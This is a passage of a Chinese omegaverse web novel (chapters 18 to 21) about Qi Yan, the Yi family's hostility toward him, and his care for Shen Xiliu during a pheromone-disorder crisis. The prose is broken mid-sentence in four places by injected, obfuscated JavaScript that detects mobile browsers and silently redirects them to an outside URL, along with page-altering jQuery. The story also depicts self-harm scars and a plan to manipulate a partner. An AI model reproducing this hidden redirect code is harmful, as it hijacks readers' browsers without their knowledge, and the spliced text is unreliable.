甚至还和祁厌一起出没于情侣餐厅…… 易扬的胸膛不断剧烈起伏,他强忍着不安,选择先回到易家。这个时间点,易鸿立并不在家,他也并不想遇到对方。 “怎么突然回来了?”母亲宋意礼正在喝下午茶,姿态优雅大方,见他急匆匆地回来,还有些诧异,蹙眉道,“都是快要结婚的人了,怎么还这么毛毛躁躁,不是让你好好陪湘婷吗?” “妈,我有东西要给你看。”易扬没心情说这些,直接把手里的资料递给她。 “现在还有什么事情比你要结婚了,还更……重要。”宋意礼嘴角带笑,慢条斯理地翻开他递过来的资料,只翻开一页,脸上的笑容就冻结住了。 手指慢慢收紧,她快速翻开了好几页,脸上逐渐变得面无表情,眼神阴沉。 看完以后,宋意礼抬手让佣人先离开,周围很快就剩下他们两个人。 宋意礼问他:“这些东西,你给你爸看了吗?” 易扬有些烦躁,摇头道:“没有,我刚拿到手,就立马来找你了。” “很好。”宋意礼点了点头,“接下来,你好好准备婚礼,不要再管这事了,由我来告诉你爸。” “妈,真的要告诉爸爸吗?”易扬明显有些焦躁不安,他已经看过了祁厌的资料,几乎可以说是各方面都远远比他更加优秀。 如果让爸爸看到祁厌变得这么优秀,会不会影响到他在爸爸眼中的地位? “冷静点,我以前就告诉过你,不用担心他的存在。”宋意礼恢复了那副淡然的模样,嘴角勾起一抹讥讽的笑容,“你爸和他的关系,并非你想象中的那样,易……不,祁厌,他永远取代不了你的地位。” “可是……” “没有可是。”宋意礼合上文件,起身道,“易扬,你现在最重要的事情是多陪伴湘婷,准备好你们的婚礼,保证这次万无一失。” 宋意礼还有事情,没有和易扬继续聊。 她走进书房里,再次打开资料,看了好半晌,特意挑选出几张,全部丢进搅碎机里。 “夏云惬,真没想到,找了你们这么多年,结果你儿子居然在我们眼皮子底下待了这么多年……” 宋意礼盯着资料里的照片,眼底浮现出一抹厌恶,她还以为夏云惬那个病秧子被赶走以后,这辈子都不会再爬起来。 毕竟她不过是个什么都不会的病秧子,净身出户以后,根本没有赚钱的渠道,估计也就靠着那张脸卖身赚钱吧,总归也就一个死亡下场。 宋意礼不惮于以最坏的恶意,来揣测夏云惬会带着一身疾病,痛苦地惨死在某个不知名的角落里。 就连她拼命带走的孩子,也注定会跌落在泥潭里,一辈子都爬不起来,终生碌碌无为,和街头上的小混混没什么两样,平庸无能,所以易鸿立才找不到他们。 反正总不该是照片里这样出色的模样,无论外貌、才情、学历、能力都比易扬更高一筹,甚至现在还攀上沈家的关系…… 盯着祁厌的资料,那一行行字都格外地刺眼,让宋意礼无意识地用力捏紧照片,只觉得有点反胃。 真是让人恶心。 …… “最近我们酒吧多了不少陌生人。”祁厌刚换好衣服,拎着背包,准备离开,刚走出休息室就被徐哥拦住。 祁厌并没有露出意外的表情,只是带着歉意地道:“抱歉,没有给你添麻烦吧?” “没有,挺安静的,还不到我上场的时候,就是想着提醒你一句。”徐哥拍了拍自己的大花臂,咧着嘴笑道,“现在看来你早就发现了,不愧是祁队长教出来的,不错。” 祁厌背着单肩包,抿唇笑了一下:“的确多亏了舅舅,估计他们不会待多久,徐哥你不用担心,过两天就没事了。” “不用帮忙吗?” “不用,我能应付得了。” “行,如果需要帮助,你不要太客气。” “好的,谢谢。”祁厌客气地说着,但并不打算麻烦对方。 现在已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318640|167368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经凌晨两点,徐哥没有继续耽搁他的时间,不过祁厌人还没走出酒吧,游弋又风风火火地拦了上来,急躁地开口。 “哎,祁厌,你最近有没有遇见我表哥啊?”乐团早就解散回家了,现在酒吧也就剩下游弋,他的表情带着一丝急切。 还有帮游弋拎着贝斯,一脸无奈的主唱困倦地打着哈欠,解释一句:“游弋今晚蹲你好久了,刚才一直没找到机会,我和他去吃了个宵夜,才倒回来找你。” “都怪你们拉我过去吃宵夜,差点就错过祁厌了。”游弋头也没回地埋怨一句,继续对祁厌问道,“我表哥现在好像和你住在一块,你有没有看见他?” “我今天才接到二舅舅打来的电话,听说他进医院了,身体还没调养好,就自己开车离开了,偏偏他在S市的房子太多,一时半会儿有点找不来,就想问问你。” 听到这话,祁厌愣了一会儿,下意识地问出口:“沈先生怎么进医院了?前几天遇到他时,身体还挺好……”吗? 话说到后面,祁厌的声音变得微小,沈溪流的身体算得上还好吗? “他的身体好个屁。”游弋翻了个白眼,喋喋不休地抱怨道,“从小到大就他最爱住医院,我就说我家基因有问题,只要是Omega,有一个算一个,几乎都把医院当家住。我表哥更是其中的翘楚,三天两头被送进医院,活得像个林妹妹,随便给他一点刺激,就能让他回到‘家’里,刺激再大一点,直接就躺在icu里喝枸杞了……” “……” 祁厌的表情忽然凝固住了,想起那天发生的事情,心里咯噔一下。 他抿着唇,明明游弋还在说话,祁厌却有些无法安静下来,内心开始躁动。 “好啦,好啦,你别啰哩巴嗦地抱怨个不停,现在最重要的是找人不是吗?”主唱拍了拍游弋的肩膀,示意他别继续说了。 有些人就应该长点心眼,对方的表情都这么难看了,你还继续说,真是没有一点都不会读空气,不愧是个不穷吃穿的二世祖。 “抱歉啊,祁哥,我废话说得有点多了。”游弋也意识过来,不好意思地抓了抓后脑勺,“我就是有点担心他,我听二舅舅说,表哥最近的身体很糟糕,患有那个信息素紊乱症……” 祁厌倏地抬眸:“你说他患有信息素紊乱症?!” “嗯,啊,怎么……” “他现在的情况怎么样?是什么时候患有信息素紊乱症的?现在进入哪个阶段了?平时的信息素在哪个区间?分泌的信息素抵达临界值的时候,是否会出现异样?他的腺体应该还没有发生病变吧?”祁厌飞快地询问着。 “啊?”游弋听得一脸呆滞,你问得这么详细,我怎么知道? “这倒是说到你的专业研究上来了。”主唱嘴一抽,“不过你问这么多问题,游弋回答得上来才怪,现在最重要的是找到人吧?” “你说得对,我先回去看看,如果找到人,我会和沈所长联系,将他送回医院。” 祁厌点头,说了句抱歉,就绕过游弋,快步往外走。 游弋有些茫然了,看向主唱:“他这是担忧我哥的安全,还是兴奋遇到自己的研究目标了?” 主唱耸了耸肩膀:“谁知道呢。” 19. 第 19 章 祁厌一冲出酒吧,就立即打车回去。 他拿出手机,盯着屏幕上的名字好半晌,游弋刚才说的话还在脑海里回放,会是他的原因吗? 祁厌紧皱眉头,患有信息素紊乱症的病人都比正常人更加敏感、忧愁、脆弱、多疑、神经质,更容易瞻前顾后、患得患失、疑神疑鬼…… 而这些形容词都与祁厌所认识的沈溪流完全沾不上边,起码在他看来,沈溪流非常优雅随和,不会做出失去理智的疯狂举止,即使忽然呼吸性碱中毒,也能极力维持着情绪,听他指令…… 结果现在,游弋说他是个患有信息素紊乱症的病人。 祁厌有点不敢相信,但游弋没有欺骗他的必要,而且还是用他的专业来欺骗他,太过滑稽了。 “……” 车窗外的夜景不断往后移动,霓虹灯光闪烁,窗外的光线不断从祁厌脸上掠过,脸部轮廓在明暗交错中陷入阴影,他慢慢伸手遮挡住眼睛。 如果沈溪流真患有信息素紊乱症,而且也和他猜想的一样,那么那天他所做的事情,不就是在把沈溪流往死路上推吗? 祁厌不知道怎么形容自己的心情,只能转移目标,猜测沈溪流现在离开医院是为了什么? 但他猜不出来,因为患有信息素紊乱症的病人往往无法控制自己的行为举止,会做出一些常人难以理解的事情,寻常人很难跟上他们的思路,喜怒哀乐变化无常,突然发疯、突然大笑、突然攻击、甚至突然攻击他人…… 如果是熟悉的人患有信息素紊乱症,祁厌或许还能窥探一二,可是祁厌对沈溪流一点都不了解。 从他们认识到现在,沈溪流看似和他关系不错,但其实只能算是普通的朋友,在某种程度上,甚至还不如对游弋更了解。 现在只能希望沈溪流在公寓里,但估计很渺小,毕竟连沈云殊都没能找到人。 祁厌手掌移开,眸光晦涩地盯着手机屏幕。 虽然知道大概率打不通,但他还是抱着尝试一下的想法,第一次主动拨打了沈溪流的电话。 他们在很久之前就交换了手机号码,却一次都没有拨打过对方的电话。 抱着打不通的想法,祁厌听着手机“嘟嘟”地响着。 时间好像过了很久,就在他以为打不通电话的时候,对面接通了—— “祁厌吗?” 比平时更加低哑的声音响起,明明是清冷淡漠的声音,可每一次沈溪流都会放缓声音,慢条斯理地说着话,但现在好像有些难以控制那种温和的语调,带着细微的颤抖。 “……” 听着这熟悉的声音,祁厌大脑空白了一瞬,不知道该说什么。 对面的呼吸明显有些乱,嘈杂声响起,手机好像被拿远了,沈溪流的声音变得更轻,偏薄的声线咬字清晰:“难得你打我电话,这个时间,才下班吧?” 沈溪流好像在放松地和他说话,可是语调节奏却有些乱,不是寻常时候的沈溪流能说出来的。 “沈先生,你在哪里?”祁厌慢半拍地轻轻开口。 “……”沈溪流笑了一下,低声说,“这个时间,当然是在家睡觉。” 祁厌抬眼看着近在咫尺的公寓大楼,没有挂掉电话,而是从衣服兜里取出自己准备的现金递给司机。 即使现在基本是使用手机支付,但祁厌总会在身上放一些现金,预防万一。 接过零钱,拎着背包下车,祁厌从头到尾都没有说话,对面也没有挂掉电话。 抬头望着那漆黑的楼层,祁厌缓缓开口:“沈先生,我刚回到公寓楼下。” “真是辛苦了,听说你最近工作挺多,晚上还去酒吧帮忙,一直忙活到这么晚,很累吧?”沈溪流关心地说道,然后又笑说,“研究所那边的合作项目进展其实不急,你可以放松一点,覃教授也不是什么严苛的人,喜欢压迫学生……” 祁厌盯着那黑暗里微微摇曳的窗帘,有些模糊,隐隐约约好像看到有道黑影出现。他快步往前走,进入公寓:“老师人很好,只是我自己喜欢参与这些。” “沈先生,还有一分钟,我就能到了,有件事情我想和你正面聊聊,可以吗?” 对面忽然安静了下来,好像被人按下暂停键,没有任何声音,祁厌也没有说话。 许久,一直到电梯声音响起,沈溪流才轻轻道:“现在吗?” “嗯,现在。” 祁厌走出电梯,看向沈溪流的房门。 “……不行哦。” 沉默良久,沈溪流第一次拒绝了祁厌。 “对不起,唯独这次不可以。” 说完这句话,不等祁厌问他为什么,沈溪流的呼吸倏地乱得更厉害,好像忽然打翻了什么东西,清脆的碰撞声猛然响起。 “沈先生,怎么了?” 祁厌察觉到不对,也听见门内传来的声音,确定了沈溪流就在房间里面。 手机另一端传来的呼吸声变得遥远,只能隐隐听见细微的喘息声变得格外急促,夹杂着痛苦的哽咽声:“对不起……对不起……这次不可以,这次不可以的,对不起,对不起……” 对面好像陷入了深深的执念魔障,反复地重复着“对不起”三个字,带着哭腔的声音病态而茫然恐慌。 祁厌没有敲门,看向沈溪流放在门外的一堆盆栽,端起第三盆薄荷盆栽的一角,伸手去摸,果不其然地找到了一把钥匙。 这是先前某一次出门时遇到沈溪流,亲眼看着他把钥匙往里面放,注意到祁厌看见了,他也不避讳地笑说这是备用钥匙,反正一梯两户,沈溪流也不担心会有人过来。 祁厌当时的表情一言难尽,不过终归是什么都没说,只是下意识看了一眼监控,确保如果出现什么万一,自己不会被怀疑。 结果没想到,现在钥匙居然用上场了,而监控也拍到他偷人家钥匙的画面…… 祁厌想要打电话给医院或者给沈云殊,但是电话一直连着沈溪流,他不敢轻易挂断,只能先进去确认沈溪流的情况,再找机会给沈云殊打电话。 “沈先生,冒犯了。”祁厌深吸一口气,把钥匙插进去打开门,对面没有回答,依然在不停地道歉。 屋内黑漆漆的一片,安静得可怕,空气中弥漫着浓郁的信息素味道,是一股很清幽的兰花香味,充斥着整个空间,几乎要将人溺死在房间里。 “!!!” 信息素紊乱症引发了Omega的发情期,刚步入房间,祁厌体内的Alpha信息素瞬间就被这浓郁的Omega信息素勾起,不断在翻腾,唤醒人体内最原始的欲望,本能几乎让人失控。 但人之所以是人,是因为拥有理智,能够控制本能。 祁厌快速打开自己的背包,从里面拿出信息素隔绝口罩,喷洒清除剂便戴上,并且飞快给自己来了一针Alpha专用信息素抑制剂。 有了信息素抑制剂控制,祁厌感觉到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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地毯给予一些缓冲,祁厌下意识地使用技巧卸掉一些力,但依然有些闷痛,毕竟承受了两个人的重量。 奇怪的状态也被这一下撞飞了,大脑变得更加清醒,祁厌用手肘撑着上半身,眉头轻皱看向对方:“沈先生,你还好吧?” “啪嗒、啪嗒!” 坐在他腰上的人,水珠不断往下滴落,苍白病态的面容精致漂亮,眉眼间笼罩着一层化不开的雾霭,阴郁似幽魂般。 “我很好。”沈溪流回答,但样子怎么都不像是“很好”的样子。 正常状态下的沈溪流怎么可能会扑倒他,祁厌一阵头疼地盯着坐在身上的人,不敢轻易开口说话,生怕触碰到他脆弱的神经,再次引起一发不可收拾的事情,混乱的Omega信息素不断刺激着感官。 沈溪流这个样子真对上信息素紊乱症的模样了,游弋没骗他。 在祁厌的注视下,沈溪流神色阴晴不定地盯着被挂断的手机,他的眼神有些危险阴鸷,犹如阴冷的毒蛇正在打量猎物。 甚至给了祁厌一种诡异的熟悉感。 直到沈溪流闭了闭眼,收敛着躁动的情绪,可Omega信息素却依然不断从他的身体溢出,已经浓郁到不可思议。 刚才打的抑制剂像是假的,口罩也无法全部隔绝,作为一名正常的Alpha,祁厌很难不受到影响,他清楚地感觉到身体逐渐变得燥热,本能在促使他去做不该做的事情。 可是与本能欲望背道而驰的理智让祁厌闭上眼睛,平复心情,压抑欲望,准备开口让沈溪流起身的时候,口罩却突然被扯走。 祁厌猛地睁开眼睛,一抹冰冰凉凉的黑色发丝蹭到脸颊处。 他听见沈溪流清冷夹杂着情欲的声音,在耳边小声地说:“没有必要打他的电话,祁厌,你可以标记我。” 20. 第 20 章 只要你愿意,你可以对我做任何事情。 就算像前世那样利用我,也没有任何关系,这本就是我想要的。 沈溪流的目光落在祁厌的脸上,细细地描绘着他的脸部轮廓,明明早已熟悉到只要闭上眼睛,就能在脑海里浮现这张脸,每一个细节都几乎刻在灵魂深处。 如此熟悉,又如此陌生。 明明在为这份陌生而感到痛苦,却又无数次庆幸,祁厌和他不一样。 所以就这样吧,继续维持这种状态。 别想起来,不要想起来…… “我这里备用的omega信息素抑制剂已经用完了,现在已经超出安全值。”沈溪流强行拼命控制着自己的冲动,一字一句地盯着他说。 祁厌表情微变,眼睛微微睁大:“你……多久没用信息素抑制剂了?” 信息素超出安全值的范围,会对腺体造成难以逆转的损伤,像沈溪流这种信息素紊乱症的患者,很有可能导致腺体病变,一旦恶化到这种程度,就再难恢复了。 “大概……也就五个多小时吧。”沈溪流想了想,不确定,也不在意。 他的瞳孔有些难以聚焦,依然落在祁厌的脸上,努力地看着他。 沈溪流曾经有那么一段时间,最喜欢的就是祁厌的眼睛,因为每次被这双深情温柔的桃花眼看着的时候,他总有一种自己正在被他深爱着的错觉。 但后来他有点不敢看了。 沈溪流伸手扯走自己脖子上的黑色信息素抑制颈环,沾湿的凌乱黑发黏在他的脸颊、脖子,脸颊带着病态的红意。 “我体内的信息素还在持续走高,再不降下来,估计会很麻烦,所以我希望你可以标记我,拜托了……”沈溪流的声音有些颤抖。 拜托了,标记我吧。 即使你不喜欢我,也可以尽情地利用我。 蓝色病服的袖口往下滑落,左手手腕并没有带着名贵的手表遮挡,祁厌的目光落在了他苍白纤细的手腕,那里有着一道道狰狞鲜明的疤痕,每一道伤口都非常深,甚至划破动脉,看得出来沈溪流曾经是真的想寻死。 祁厌伸手抓住沈溪流的手腕,与他对视道:“沈先生,等你清醒过来,会后悔的。” “我不会!”沈溪流的眼睛很红,脸颊病态泛红,疯癫与冷静交织,逐渐变得扭曲,无法克制,于是他垂着脸,不敢让祁厌看见自己的表情,近乎哀求地说,“我不会的,你明明都知道,你明明都知道……我喜欢你,我不会后悔!” 已经到了这种地步,祁厌仍然在控制着alpha信息素,沈溪流有时候真的恨透了alpha的本能,相比于omega,他们拥有着绝对理性与掌控,更擅长维持理智的姿态。 “祁厌,你就当在救我一命吧。” 沈溪流将额头抵在他的肩膀上,痛苦的声音颤抖痛苦,眼神中藏着癫狂,体内暴走的信息素让他无法控制自己的情绪,眼泪不受控制地滚出眼眶。 真狼狈,但比这更狼狈的场景又不是没有,起码还没有走到前世不可挽回的那一步不是吗? “我知道你不喜欢我,另外有喜欢的人,但alpha又不是只能标记一个omega,我只要一个临时标记而已,你喜欢的人……” 肯定是个美好的人,不像我这样阴暗扭曲,像条恶心的毒蛇一样藏在黑暗里,窥视着你的一切,嫉恨所有被你温柔以待的人,恨不得操控你,将你困死在牢笼里。 ……真是荒唐的场景啊,祁厌看着狼狈的沈溪流,心想,为什么会变成这样呢? 他一手握着沈溪流的肩膀,一手捡起地上的信息素抑制剂,冷静地说着:“我知道了。沈溪流,等你清醒过来以后,我们再好好地谈谈。” 患有信息素紊乱症的病人思绪很乱,无法控制自己的身体,就连说出来的话也不受控制。 “如果你清醒过来以后,想法仍然没有改变,我会好好地正视这一切,认真对待你,而不是敷衍了事。” 听到他说话的沈溪流身体僵硬了一瞬,想要直起上半身。 “别动,可能有点疼。” 祁厌按压着沈溪流想要起来的身体,半搂着他,将针精准地扎入后颈腺体,这样的刺痛对于沈溪流来说算不了什么,可还是下意识地缩了一下。 “抱歉。”祁厌察觉到他的动作,用手轻抚沈溪流的后脑勺,指尖碰触着头,很温暖柔和,像是在安慰他一样。 手指在轻而缓地推动注射器,将抑制剂药液匀速渗入腺体里,动作轻柔温和。 一切的挣扎都在他的安抚下消失了。 沈溪流忽然发现这空荡荡的房间很安静,明明没有嗅到alpha的信息素,但体内躁动的信息素好像被安抚了下来,令身心痛苦的绝望浪潮在一点点褪去,窒息许久的他终于能够呼吸了。 “我不能趁人之危地标记一个生病的omega,如果醒来之后,你依然愿意,而我们的信息素匹配度又在90%以上的话,我愿意配合医院,一起‘治疗’你。” 祁厌还在对他说话,是前所未有的温柔低沉,好似情人在耳边低语,沈溪流始终紧绷的神经在这样的对待下溃不成军,变得恍惚,疲惫袭来。 “现在已经没事了,身体很累吧?不用再担心任何事情,不用思考,不用紧张,我会一直陪着你。你只要听我的声音,慢慢闭上眼睛,缓慢地呼吸,想象自己正处于安全舒适的地方,身心愈发放松,很困了吧?睡吧,在这安心的地方,陷入梦中……” 舒缓温柔的声音具有魔力般呢喃,好似林间清风,带着自然的惬意,让沈溪流无法反抗,思绪变得模糊,只能被他一步步引导着陷入梦境里。 “……” 祁厌扣着已经被催眠睡着的沈溪流的后脑勺,让他将脸埋在脖颈间,没有动弹,就这样坐在地上,静静地陪着沈溪流。 医院里,消毒水的味道弥漫在空气中,沈云殊从病房里走出来。 坐在外面的祁厌站起身看向他:“沈所长,请问沈先生的身体情况怎么样?” “他现在的情况已经稳定,这次给你添麻烦了。”沈云殊揉了揉额头,“没想到这次居然会出这么个纰漏,幸好你出现得及时,要不然估计他的情况会进一步恶化。” 沈溪流失踪以后,沈云殊第一时间派人去公寓找过,却没有找到他本人。如果沈溪流想要藏着,谁都找不到,就算痛死在角落里,也不会主动走出来。 幸好祁厌找到了他,幸好祁厌是专门研究信息素紊乱症的人员,幸好他的背包里放了相关的药物,要不然今晚沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318642|167368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 溪流的状况还能变得更差。 “沈所长。”祁厌迟疑着开口,“我能不能看一下沈先生的病历?” 他想更详细地了解沈溪流现在的情况,避免下次再发生这种事情。 沈云殊看了他一眼,点头:“可以,你跟我来吧,正好我也有一件事情想要拜托你。” “?” 祁厌有些疑惑,沈云殊也没急着说明,带他去往办公室,找到沈溪流的病历递给他。 “你先看看吧,溪流的情况比较复杂,除了信息素紊乱症,他身上还有不少麻烦,就连药物都不能随便乱用。” 祁厌眼皮子一跳:“那我当时给他用的那针抑制剂……” “没事,你用得很对。”沈云殊从办公桌里拿出烟和打火机,“不介意我抽一根烟吧?” “您随意。” 这是沈云殊的专属办公室,不对外开放,祁厌没有意见,对方问他要不要来一根,也拒绝了。 沈云殊点了根烟,又给他递一份文件:“这是你们之前来这里体检的时候,医疗系统自动匹配的。可能有点冒犯了,但你和溪流的信息素匹配度很高,即使只是大致数值,也已经达到90%,如果进一步检查的话,应该还能更高。” “是因为他的病吗?”祁厌看到了他们的信息素匹配度,并没有感到惊讶。 沈溪流的信息素能在祁厌做足准备后,依然对他的身体产生影响的时候,他就估计他们的匹配度不会太低。 纵然有omega信息素太浓的原因,但也不至于在打完抑制剂后仍然影响这么大,祁厌甚至怀疑自己的易感期可能会提前到来。 沈云殊抽着烟道:“嗯,他的情况越来越差了,很久之前,我就想帮他找匹配度高的alpha,提取对方的信息素来缓解omega腺体的压力,等到状况好转后,再用药调理,但是他拒绝了。” “你认识他这么久,应该也看得出来吧?他这人很强势,骄傲又任性,有时候比我还独裁自负,对身边人冷漠、又没好脸色。” 沈云殊好像忘记自己也是个独裁王者,一脸嫌弃地说:“听说你和他还是邻居?真是辛苦你了,很受不了这家伙吧?动不动就给人添麻烦,阴阳怪气,毒舌,简直就是反人类的存在……” “呃……倒也没有,沈先生人挺好的。”对上沈云殊看小可怜的目光,祁厌不自在地说。 你认识的沈溪流,我认识的沈溪流,好像不一样。 “嘁,不用帮他说话,身为他的长辈,我最清楚他了。”沈云殊吐着烟圈,银边眼镜泛着白光,衬得眼下黑眼圈很重,“以他的性格不会接受你用Alpha信息素帮他,但这次不能让他继续任性下去。” “如果祁厌你能愿意,我就借你的信息素给他用。其实要是你能标记他就更好了,治疗腺体最好的药物莫过于伴侣的信息素,再好的药物都顶替不了。不过这样的话,他会先气死,对你也不尊重,所以还是算了。” 沈云殊吸了最后一口烟,掐灭烟头。 他看得出来沈溪流应该挺欣赏祁厌,不过以他对沈溪流的了解,估计打死都不会同意别人标记他,更别说才认识不久的祁厌。 祁厌:“……” 他伸手摸了摸鼻子,我原本想说什么来着? 21. 第 21 章 沈云殊的动作很快,连夜加班,在祁厌的配合下,飞快抽取提纯他的信息素,在沈溪流清醒前,一针给他扎了进去。 “感觉怎么样?”沈云殊问祁厌,调侃说,“亲自抽取自己的信息素,又亲自提纯后打入omega体内,心情是不是有些复杂?” 同是alpha,沈云殊自认挺了解alpha的本能和占有欲,即使是抽取提纯后,再注射入omega体内,也难免会产生一些微妙的想法 祁厌发现沈云殊的性子挺恶劣,无语道:“……所长,你现在表现得不是很专业,现在重要的是观察沈先生的情况吧?” 明明沈云殊是专门研究信息素方面的专家,抽取自己的信息素亦或者他人的信息素研究,不都是家常便饭的事情吗? 虽然心底或多或少有点微妙,但那也是建立在沈溪流对他有想法,并且和他说过那种话的前提下。 “不用担心,他的情况恢复得比想象中更快。”沈云殊说,“看来你们的信息素匹配度比想象中更高。” 想要测出没有误差的AO信息素匹配度花的时间比较长,沈云殊原本猜测在90%到95%之间,但看现在的情况,估计在95%之上,所以才能让沈溪流恢复这么快。 “能给沈先生帮上忙就行。”祁厌并不关心这一点,无论是多少的信息素匹配度,已经确定是90%以上,那就够了。 祁厌没有在医院继续待下去,他本就凌晨两点才下班,后续又陪着沈溪流、沈云殊折腾到早上,现在见沈溪流的情况稳定,沈云殊让他先回去休息。 “这次麻烦你了,今天先好好休息吧,都早上八点了。”沈云殊看了眼时间,他从沈溪流失踪就一直在忙活,现在多少也有些疲惫了。 “熬夜伤身,年纪大了,不像你们年轻人能折腾,真是让人受不了。” 祁厌跟着沈云殊忙活一个晚上,又是抽取信息素又是提纯,眼见着沈溪流的情况稳定,便没有拒绝沈云殊给他安排回去的车。 等人走后,沈云殊在外面抽了根烟,清醒大脑后原路返回病房,看着躺在病床上的人,静静地等了一会儿。 沈溪流慢慢睁开了眼睛,侧头看向沈云殊,凌乱的黑发斜斜落在那双狭长阴鸷的黑色眼眸,面色苍白,轮廓落下一层阴影,他的嘴唇颜色很淡,神情有些冷漠。 “他走了?” “要不然呢?”沈云殊双手插在白色实验服兜里,居高临下地盯着他,“怎么,还想让帮了你一个晚上的‘救命恩人’继续照顾你吗?” 沈溪流没搭理他,举起自己的右手,蓝色病服袖口滑落,露出纤细的手臂,上面还残留针扎过的痕迹,那是刚才祁厌用自己提纯后的信息素注入他体内的伤口。 指尖轻轻碰触着针口,周围苍白的皮肤带着浅浅的青紫色,沈溪流垂着眼帘,眸光暗沉,泛着细微的光点,脸颊泛起病态般的酡红,眼神显得有些迷离和癫狂。 “满足了吧?”沈云殊的声音冷不丁地响起。 沈溪流的目光这才缓缓移动到他身上,如果二舅舅这次不在,由他亲自安排医生与祁厌沟通就好了。 这样子,就可以诱导祁厌标记他,以他温柔负责的性格,那个所谓的什么暗恋对象,就不会再构成威胁,祁厌就算不喜欢他,也会因为标记后的信息素影响,慢慢爱上他…… 这样想着,沈溪流轻声:“舅舅,你真碍事。” 劳心劳力一晚上的沈云殊:“……” 他额头上代表愤怒的十字青筋跳了跳,下一秒,怒吼声传出病房—— “你个不孝的小兔崽子,想死就直说,别逼老子救你后又想抽死你!!!” …… 祁厌回去睡了三个小时便醒来,他最近的失眠频率不像以前严重,乱七八糟的梦变多了,却记不清楚。 心底惦记着沈溪流的状态,祁厌醒来后给沈云殊发信息询问也没有得到回复,猜测他可能还在休息,或者有事没时间看手机。没有犹豫太久,放不下心,干脆去医院看看沈溪流的情况。 “祁厌,你来了。”刚一推开病房大门,就对上沈溪流的眼眸,拉开的桌板,放着一台笔记本电脑和一些资料,正在处理公务。 昨晚发生这么多事,居然还能醒来就开始工作吗? 他沉默一瞬,叹气开口:“沈先生,你什么时候醒来的?身体好多了吗?” 对上沈溪流的眼睛,他从昨晚开始就没有戴着那副眼镜,看起来比平时更疏离感,苍白的脸色让他多了一抹病弱感。 “唔,大概是十一点左右醒来的。”沈溪流的眼神很温柔,他侧着头,平时整齐打理的发丝落在脸颊处,状似回忆似的想了想才慢慢开口。 “现在身体好多了,稍等一下哦,我马上就能处理完。”沈溪流维持着非常优雅平静的模样,几乎与昨晚判若两人,冷静地盯着电脑屏幕,手上动作未停。 如果是这个状态下的他,祁厌完全看不出他是个患有信息素紊乱症的病人。 但是沈家是没人了吗?怎么让一个刚醒来的病人工作? 这话不方便说出来,祁厌见他情况确实好了许多,便道:“沈先生不用急,我只是来看看你现在的情况,既然没事的话,那我就不打扰你……” “你用过午餐了吗?”沈溪流开口打断了他的话。 “呃……还没有。”一觉醒来,原本打算先去吃点东西,结果一直想着沈溪流的情况如何,下楼便直接打车过来,连午餐都没有吃。 早餐更是不用说了,一回去就直接闭眼躺床上睡觉,什么都没有吃。 沈溪流眼神变得更温柔了,他合上电脑,对祁厌说道:“我刚才已经让助理给我带过来了,不介意的话,一会儿我们一起吃吧。” “正好昨晚的事情,也要谈谈不是吗?” ——等你清醒过来以后,我们再好好地谈谈。 ——如果你清醒过来以后,想法仍然没有改变。 ——我愿意配合医院,一起“治疗”你。 极力想无视的事情被沈溪流猝不及防地提了起来,祁厌心脏猛地狂跳两下,昨晚发生的一切再次浮现,一瞬间,居然觉得有些羞耻。 尤其是对上沈溪流平静的眼神时。 “我知道了,既然要谈,那就现在说吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318643|167368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”祁厌沉默一瞬,收敛着内心的情绪,没有继续逃避对方的感情。 他坐在病床旁的椅子,冷静地看着沈溪流:“沈先生,你先说还是我先说?” “……在那之前,我先问你个问题吧,为什么要这么一本正经?好像如临大敌一样。” 沈溪流手肘靠在桌板上,手背支着脸看他,姿态有些放松,比起平时的形象好像多了些说不清道不明的韵味,眯眼笑看他。 与昨晚的情势相比,现在好像发生了逆转,因病失控而疯的沈溪流恢复清醒以后,在这方面比起祁厌更加熟稔。 祁厌被沈溪流看得一怔,情绪产生了细微的波动,但他没有躲开沈溪流的视线,非常平静地说道:“因为这种事情很重要,需要尊重双方吧?” 沈溪流没有他这么高尚的品德,拒绝人也不忘给对方台阶下,太过温柔的婉拒根本没有任何作用,只会让人更加念念不忘,但他不会这样说。 “你说得很好,不过我昨晚说的话现在依然有数,我喜欢你,希望你能够和我交往。”沈溪流非常直率地说出来,狭长漆黑的漂亮眼眸始终落在祁厌身上,清冷孤傲的长相压根不像主动表白的人。 没想到他居然说得这么利落,祁厌愣了好半晌,依然维持着刚才的正经姿态,眉头微皱,就如他平时做实验那般严谨,打消了告白时该有的气氛。 “为什么你会喜欢我呢?”祁厌真诚发问。 